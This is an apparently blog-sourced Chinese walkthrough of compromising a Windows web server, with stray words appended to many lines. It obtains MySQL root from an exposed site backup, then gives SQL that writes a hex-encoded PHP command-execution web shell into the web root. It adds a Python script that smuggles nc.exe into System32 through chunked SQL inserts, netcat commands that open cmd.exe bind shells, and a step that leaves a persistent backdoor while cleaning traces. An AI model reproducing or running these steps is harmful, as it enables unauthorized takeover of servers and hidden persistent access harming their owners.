* 拿到網站上傳權限php
發現網站有默認 3306 phpmyadmin可是不知道帳號密碼。python
很巧合,站長沒有對site的indexes作限制,因此我能夠查看他一些目錄下的文件,恰巧有一份網站的備份被我下載到,獲得3306的root權限。sql
* 提權shell
經過上傳權限來提權數據庫
DROP TABLE IF EXISTS `fm`; CREATE TABLE `fm` ( `fm` longblob ); insert into fm (fm) values (0x3c3f20706173737468727528245f4745545b2763275d293b203f3e); select fm from fm into dumpfile 'D:\\WWW\\execute.php'; drop table fm; flush logs;
如此一來只要咱們上傳了nc.exe 就能夠經過 execute.php 來執行打開一個端口。網站
http://xxx.xxx.xxx.xxx/execute.php?c=nc.exe -l -p1234 -e cmd.exe
經過腳本將nc.exe 分紅屢次存入數據庫,依法導出到某處,附shellcode生成腳本url
fp = open('nc.exe', 'rb') content = fp.read() content = content.encode('hex') fp0 = open('nc-shellcode.sql', 'wt') fp0.write(''' DROP TABLE IF EXISTS `fm`; CREATE TABLE `fm` ( `fm` longblob ); ''') for idx in range(len(content)/1024 + 1): if idx == 0: fp0.write('''insert into fm (fm) values (0x%s);\n'''% content[idx*1024:(idx+1)*1024]) else: fp0.write('''UPDATE fm SET fm=CONCAT(fm, 0x%s);''' % content[idx*1024:(idx+1)*1024]) fp0.write(''' select fm from fm into dumpfile 'C:\\\\Windows\\\\System32\\\\nc.exe'; drop table fm; flush logs; ''')
將生成的sql執行, 生成 C:\Windows\System32\nc.exespa
訪問剛剛提到的url,便可打開1234code
用nc.exe連接完成提權blog
nc xxx.xxx.xxx.xxx 1234
* 擴展留下後門,清理痕跡
nc -L -p1235 -e cmd.exe